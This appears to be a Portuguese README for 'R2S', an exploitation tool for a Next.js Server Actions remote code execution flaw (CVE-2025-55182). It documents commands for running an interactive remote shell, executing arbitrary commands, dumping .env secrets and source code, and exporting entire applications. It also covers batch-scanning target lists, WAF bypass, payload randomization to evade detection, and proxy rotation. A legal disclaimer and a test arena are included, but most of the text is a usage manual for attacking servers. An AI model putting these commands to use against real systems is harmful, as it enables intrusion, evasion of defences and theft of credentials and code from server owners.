
Ferramenta avançada de teste de segurança para avaliação de vulnerabilidades CVE-2025-55182 em aplicações Next.js. Recursos incluem shell interativo, varredura em lote, bypass de WAF e relatórios abrangentes.
Ferramenta avançada de teste de exploração para avaliação de vulnerabilidade CVE-2025-55182
Recursos • Instalação • Uso • Ambiente de Teste • Aviso Legal
R2S (React2Shell) é uma ferramenta de teste de segurança projetada para ajudar pesquisadores de segurança, desenvolvedores e testadores de penetração a avaliar se suas aplicações Next.js estão vulneráveis a CVE-2025-55182.
CVE-2025-55182 é uma vulnerabilidade crítica que afeta as Server Actions do Next.js em determinadas versões (ex.: 16.0.5). Essa vulnerabilidade permite que atacantes executem comandos arbitrários no servidor por meio de Server Actions inadequadamente protegidas, levando à Execução Remota de Código (RCE).
O R2S ajuda você a verificar se sua aplicação possui esse problema para que possa corrigi-lo antes que agentes mal-intencionados o encontrem.
--windows)⚠️ AVISO CRÍTICO: A flag --windows pode fazer com que a ferramenta FALHE ao determinar a vulnerabilidade se usada incorretamente.
--windows: Somente se você tiver 100% de certeza de que o servidor alvo é Windows--windows em um servidor Linux, os comandos falharão e a ferramenta poderá reportar "não vulnerável" mesmo que o servidor seja vulnerável--windows a menos que você saiba que o alvo é WindowsExemplo:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
---
## ⚠️ Aviso Legal
**IMPORTANTE: LEIA ISTO ANTES DE USAR ESTA FERRAMENTA**
1. **Esta ferramenta é APENAS para testes de segurança LEGÍTIMOS**
- ✅ Teste suas próprias aplicações
- ✅ Teste aplicações para as quais você tenha permissão por escrito para testar
- ✅ Fins educacionais e pesquisa em segurança
- ❌ **NUNCA use em sistemas que você não possui ou para os quais não tem permissão para testar**
- ❌ **NUNCA use para fins maliciosos**
2. **Ao usar esta ferramenta, você concorda que:**
- Você só a utilizará em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar
- Você entende que o acesso não autorizado a sistemas de computadores é ilegal
- Você aceita total responsabilidade por suas ações
- Os autores não são responsáveis por qualquer uso indevido desta ferramenta
3. **Consequências Legais:**
- O acesso não autorizado a sistemas de computadores é crime na maioria dos países
- Você pode enfrentar acusações criminais, multas e prisão
- Sempre obtenha permissão por escrito antes de testar
4. **Esta ferramenta é fornecida "COMO ESTÁ", sem garantia de qualquer tipo**
**Se você tiver menos de 18 anos, certifique-se de ter supervisão de um adulto e permissão antes de usar esta ferramenta.**
---
## ✨ Recursos
### Capacidades Principais
- 🔍 **Detecção de Vulnerabilidades** - Teste rapidamente se um servidor está vulnerável ao CVE-2025-55182
- 💻 **Shell Interativo** - Sessão de shell interativa completa via HTTPS com histórico de comandos
- 📁 **Operações de Arquivo** - Liste diretórios, leia arquivos e exporte arquivos/arquivos compactados
- 🔐 **Extração de Segredos** - Tenta ler segredos da aplicação (arquivos .env, arquivos de configuração)
- 📄 **Extração de Código** - Tenta ler o código-fonte da aplicação
- 🖥️ **Informações do Sistema** - Coleta informações do SO, hostname, usuário e variáveis de ambiente
### Recursos Avançados
- 🚀 **Pré-aquecimento Automático de Payloads** - Otimiza automaticamente os payloads para obter os melhores resultados
- ⚡ **Execução Paralela** - Execute vários comandos simultaneamente
- 🎲 **Randomização de Payloads** - Evite a detecção com payloads dinâmicos
- 🛠️ **Módulos de Exploit** - Sistema de módulos no estilo Metasploit (env_dump, file_search, network_scan, process_list)
- 🔄 **Tratamento de Redirecionamentos** - Segue automaticamente redirecionamentos HTTP (301, 302, 303, 307, 308)
- 🎨 **Interface Bonita** - Saída codificada por cores para facilitar a leitura
- 📊 **Relatórios Abrangentes** - Salva automaticamente relatórios nos formatos JSON, HTML, TXT com formatadores específicos por operação
- ⚙️ **Sistema de Configuração** - Configuração baseada em JSON com painel interativo de configurações
- 📦 **Funcionalidade de Exportação** - Exporte arquivos individuais ou diretórios inteiros de aplicativos como arquivos zip
- 🔒 **Bypass de WAF** - Várias técnicas de bypass (⚠️ Não garantido - consulte as limitações abaixo)
### Relatórios e Registros
- 📝 **Salvamento Automático de Relatórios** - Salve automaticamente relatórios em `~/.r2s/reports/` com carimbos de data/hora legíveis
- 📋 **Formatos Específicos por Operação** - Diferentes formatos de relatório para diferentes operações (shell, teste, segredos, etc.)
- 📜 **Histórico de Comandos** - Histórico de comandos persistente salvo em `~/.r2s/history`
- 🔍 **Trilhas de Auditoria** - Registro detalhado de todas as operações em `~/.r2s/logs/audit.log`
- 🎨 **Relatórios HTML** - Belos relatórios HTML com modo escuro/claro, botões de copiar e blocos de código
---
## 📦 Instalação
### Opção 1: Compilar a partir do código-fonte (Recomendado)
1. **Clone o repositório:** ```bash
git clone https://github.com/zamdevio/r2s.git
cd r2s
pip install -r requirements.txt
python3 -m react2shell.main --help
r2s --help
---
## 🚀 Início Rápido
### Teste Básico de Vulnerabilidade```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t
# With verbose output for more details
r2s -u http://localhost:3000 -t -v
⚠️ Importante: Não use --windows a menos que tenha certeza de que o alvo é Windows. Usar --windows em um servidor Linux causará falsos negativos (a ferramenta pode reportar "não vulnerável" mesmo que o servidor seja vulnerável).
Oferecemos um ambiente de teste seguro em **https://r2s-arena.fly.dev**:```bash
r2s -u https://r2s-arena.fly.dev -t
### Teste Local
Veja [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) para instruções sobre como executar o aplicativo vulnerável localmente.
---
## 📚 Exemplos de Uso
### Referência Rápida de Comandos
**Comandos Mais Comuns:**
- `r2s -u URL -t` - Testar vulnerabilidade (mais comum)
- `r2s -u URL --shell` - Iniciar shell interativo
- `r2s --targets FILE -t` - Escanear vários alvos em lote
- `r2s -u URL --system-info` - Obter informações do sistema
- `r2s -u URL --secrets` - Tentar ler segredos
- `r2s -u URL --export-archive` - Exportar o aplicativo inteiro como zip
**⚠️ Lembre-se**: Não use `--windows` a menos que o alvo seja Windows!
---
### Operações Básicas```bash
# Test vulnerability
r2s -u http://localhost:3000 -t
# List directory contents
r2s -u http://localhost:3000 --list-dir /app
# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json
# Get system information
r2s -u http://localhost:3000 --system-info
# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"
r2s -u http://localhost:3000 --shell
### Módulos de Exploit```bash
# List available modules
r2s --list-modules
# Use a module
r2s -u http://localhost:3000 --module env_dump
# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"
# Get module information
r2s --module-info env_dump
r2s -u http://localhost:3000 --export src/app/page.tsx
r2s -u http://localhost:3000 --export-archive
r2s settings
### Segredos e Extração de Código```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.
# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.
r2s --targets targets.txt -t
r2s --targets targets.txt --batch -t
r2s --targets targets.txt -t --rate 2
r2s --targets targets.txt -t --delay 1
r2s --targets targets.txt --batch -t --rate 1 --delay 2
### Opções Avançadas```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"
# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass
# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm
# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize
# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote
# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0
# Disable SSL verification
r2s -u https://target.com -t --insecure
# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2
# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1
r2s -u http://localhost:3000 -t --proxy http://proxy.example.com:8080
r2s -u http://localhost:3000 -t --proxy http://user:[email protected]:8080
r2s -u http://localhost:3000 -t --proxy-file proxies.txt
r2s --targets targets.txt -t --proxy-file proxies.txt --rate 1
### Registro e Auditoria```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log
# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit
# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit
r2s settings
r2s cleanup
r2s uninstall
### Relatórios```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}
# Disable auto-save
r2s -u http://localhost:3000 -t --no-report
# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json
# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html
cd my-nextjs-app npm run dev
r2s -u http://localhost:3000 -t
### 2. Auditoria de Segurança```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive
Use o aplicativo nextjs fornecido para testes locais e seguros:```bash
cd nextjs
npm install
npm run dev
r2s -u http://localhost:3000 -t
Veja [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) para instruções detalhadas.
---
## 🏗️ Arquitetura
A R2S usa uma arquitetura modular para facilidade de manutenção e extensibilidade:```
react2shell/
├── main.py # Main entry point
├── classes/ # Core classes
│ ├── detector.py # Target detection
│ ├── executor.py # Command execution
│ ├── modules.py # Exploit modules system
│ ├── operations.py # High-level operations
│ ├── payload.py # Payload building and randomization
│ └── shell.py # Interactive shell
├── services/ # Services
│ ├── config.py # Configuration management (JSON)
│ ├── exporter.py # File and archive export
│ ├── formatters.py # Report formatters
│ ├── history.py # Command history
│ ├── logger.py # Logging and audit trails
│ ├── proxy.py # Proxy management
│ └── reporter.py # Report generation
└── utils/ # Utilities
├── colors.py # Color utilities
└── helpers.py # Helper functions
Consulte react2shell/README.md para documentação detalhada da arquitetura.
Fornecemos um ambiente de testes seguro chamado nextjs que você pode usar para testar a ferramenta sem arriscar sistemas reais.
Visite: https://r2s-arena.fly.dev
Este é um aplicativo publicamente disponível e intencionalmente vulnerável, apenas para fins de teste.
Consulte nextjs/README.md para instruções sobre como executá-lo localmente.
⚠️ Importante: O aplicativo nextjs é intencionalmente vulnerável e NUNCA deve ser usado em produção ou com dados reais.
| Comando | Descrição |
|---|---|
--export FILE, --ex FILE | Exporta um único arquivo do alvo (salvo em ~/.r2s/exports/{domain}/) |
--export-archive | Exporta todo o diretório do aplicativo como um arquivo zip. Cria o zip no servidor, baixa-o e depois o exclui do servidor. Exclui padrões do .gitignore. Salvo em ~/.r2s/exports/{domain}/r2s_export_TIMESTAMP.zip |
| Comando | Descrição |
|---|---|
--module NAME | Executa módulo de exploit |
--module-list, --list-modules | Lista módulos disponíveis |
| Opção | Descrição |
|---|---|
--output FILE, -o FILE |
| Opção | Descrição |
|---|---|
--targets FILE | Escaneia múltiplos alvos a partir de um arquivo (uma URL por linha, suporta comentários com #) |
--batch | Modo lote: ignora todas as solicitações interativas, continua automaticamente (útil para automação/scripts) |
| Comando | Descrição |
|---|---|
r2s settings | Abre o painel de configurações interativo |
r2s cleanup |
r2s -u https://target.com -t --insecure
### "Erro de Conexão"
- Verifique se o servidor está em execução
- Verifique se a URL está correta
- Verifique as configurações do firewall
- Tente aumentar o tempo limite: `--timeout 30`
### "Solicitação Bloqueada"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass
# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox
⚠️ IMPORTANTE: Flag de Comandos Windows
Se você está obtendo falsos negativos (a ferramenta diz "não vulnerável", mas o alvo realmente é), verifique:
Você usou a flag --windows?
--windows faz a ferramenta usar comandos Windows (PowerShell, dir, etc.)--windows fará a ferramenta FALHAR--windows (Unix/Linux é o padrão)Detecção de Plataforma
--windows apenas se tiver 100% de certeza de que o alvo é WindowsComando de Teste
echo $((41*271))--windows, ele usa: powershell -c "41*271"Exemplo do problema:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
### Limitações de Bypass de WAF
**⚠️ Importante:** As técnicas de bypass de WAF nesta ferramenta **NÃO têm garantia** de funcionamento e têm várias limitações:
- **Não Universal**: WAFs diferentes usam métodos de detecção diferentes. O que funciona para um pode não funcionar para outro.
- **Detecção Estática**: Alguns WAFs usam correspondência de padrões estáticos que pode ser contornada, mas WAFs modernos usam análise comportamental.
- **Limitação de Taxa**: Muitos WAFs implementam limitação de taxa que pode bloquear tentativas repetidas.
- **Machine Learning**: WAFs avançados usam modelos de ML que se adaptam e aprendem com padrões de ataque.
- **Cloudflare/AWS WAF**: WAFs de nível empresarial (Cloudflare, AWS WAF, etc.) são extremamente difíceis de contornar.
- **Sem Garantias**: As técnicas de bypass são experimentais e podem falhar contra WAFs bem configurados.
**Melhores Práticas:**
- Use o bypass de WAF como último recurso
- Experimente diferentes estratégias de cabeçalho (`--header-strategy`)
- Combine com `--randomize` para obter melhores resultados
- Entenda que alguns alvos podem ser impossíveis de contornar
- Sempre teste em sistemas que você possui ou tem permissão para testar
### Problemas de Build```bash
# Make sure Python 3.7+ is installed
python3 --version
# Install dependencies
pip install -r requirements.txt
# Clean previous build artifacts
./build.sh cleanup
# Try building again
./build.sh
Para remover com segurança todos os artefatos de build (diretórios de build, arquivos de cache, etc.):```bash ./build.sh cleanup
Isso removerá:
- diretório `build/` (arquivos de build do PyInstaller)
- diretório `dist/` (binários compilados)
- diretórios `__pycache__/` (cache do Python, recursivamente)
- arquivos `*.pyc` (bytecode Python compilado)
- arquivos `*.pyo` (bytecode Python otimizado)
- arquivos `*.spec` (arquivos de especificação do PyInstaller)
**Nota:** Isso apenas remove artefatos de build, não o seu código-fonte. A limpeza é segura e pedirá confirmação antes de prosseguir.
---
## 📁 Estrutura de Arquivos```
r2s/
├── README.md # This file
├── LICENSE # MIT License
├── requirements.txt # Python dependencies
├── build.sh # Build script for standalone binary
├── r2s_entry.py # PyInstaller entry point
├── react2shell/ # Main package
│ ├── README.md # Architecture documentation
│ ├── main.py # Entry point
│ ├── classes/ # Core classes
│ ├── services/ # Services
│ └── utils/ # Utilities
└── nextjs/ # Testing environment
└── README.md # Testing environment documentation
Contribuições são bem-vindas! Por favor:
Lembre-se: Contribua apenas com código que ajude em testes de segurança legítimos.
Este projeto é licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.
No entanto, o uso desta ferramenta está sujeito ao aviso legal acima. Usar esta ferramenta para acesso não autorizado é ilegal e não é coberto por esta licença.
zamdevio
Esta ferramenta é APENAS para testes de segurança e fins educacionais.
Seja legal, seja ético, seja seguro! 🛡️
Feito com ❤️ para a comunidade de segurança
| Comando | Descrição |
|---|
-u, --url URL | URL do alvo (obrigatória para a maioria das operações) |
-t, --test | Testa se o servidor é vulnerável |
-ld, --list-dir PATH | Lista o conteúdo do diretório |
-rf, --read-file FILE | Lê o conteúdo do arquivo |
-si, --system-info | Obtém informações do sistema |
-sr, --secrets | Tenta ler segredos |
-c, --code | Tenta ler o código-fonte |
-cmd, --command CMD | Executa comando personalizado |
--shell | Inicia shell interativo |
--module-info NAME | Mostra informações do módulo |
--set KEY=VALUE | Define opção do módulo |
| Opção | Descrição |
|---|
--waf-bypass | Tenta técnicas de bypass de WAF (⚠️ Não garantido - veja as limitações abaixo) |
--waf-bypass-size KB | Tamanho dos dados de lixo do bypass de WAF em KB (padrão: 128) |
--vercel-waf-bypass | Ativa técnicas de bypass de WAF específicas da Vercel |
--header-strategy STRATEGY | Estratégia de cabeçalhos HTTP: default, chrome_latest, firefox, minimal, assetnote |
--parallel N | Executa N comandos em paralelo (útil para múltiplos comandos) |
--auto-warm | Aquece e otimiza automaticamente os payloads antes da execução |
--randomize | Randomiza payloads para evitar detecção estática |
--no-follow-redirects | Não segue redirecionamentos HTTP automaticamente (301, 302, etc.) |
-k, --insecure | Desativa a verificação do certificado SSL (use com cautela) |
--timeout SECONDS | Timeout de requisição em segundos (padrão: 10, use 0 para sem timeout) |
--windows | ⚠️ AVISO: Use comandos do Windows em vez de Unix/Linux. Isso pode fazer a ferramenta FALHAR ao determinar a vulnerabilidade se o alvo for na verdade Unix/Linux. Use isso apenas se tiver certeza de que o alvo é Windows. |
--rate RATE | Limita as requisições a RATE requisições por segundo (útil para varredura em lote) |
--delay SECONDS | Adiciona atraso entre requisições em segundos (ajuda a evitar limitação de taxa) |
--batch | Modo lote: ignora todas as solicitações interativas, continua automaticamente (útil para automação) |
| Salva os resultados em um arquivo específico (desativa o salvamento automático) |
--no-report | Desativa o salvamento automático de relatórios em ~/.r2s/reports/ |
--log FILE | Registra todas as operações no arquivo especificado (log detalhado de operações) |
--audit | Cria trilha de auditoria detalhada (salva em ~/.r2s/logs/audit.log) |
| Opção | Descrição |
|---|
--proxy URL | Usa proxy HTTP (formato: http://proxy:port ou http://user:pass@proxy:port) |
--proxy-file FILE | Carrega e rotaciona proxies de um arquivo (um proxy por linha, formato: http://proxy:port) |
--rate RATE | Limita as requisições a RATE requisições por segundo (evita sobrecarregar o alvo) |
--delay SECONDS | Adiciona atraso entre requisições em segundos (ajuda a evitar limitação de taxa) |
| Exclui todos os dados do R2S (config, histórico, logs, relatórios, exportações) |
r2s uninstall | Desinstala o binário do R2S e todos os dados |
r2s help | Mostra a mensagem de ajuda |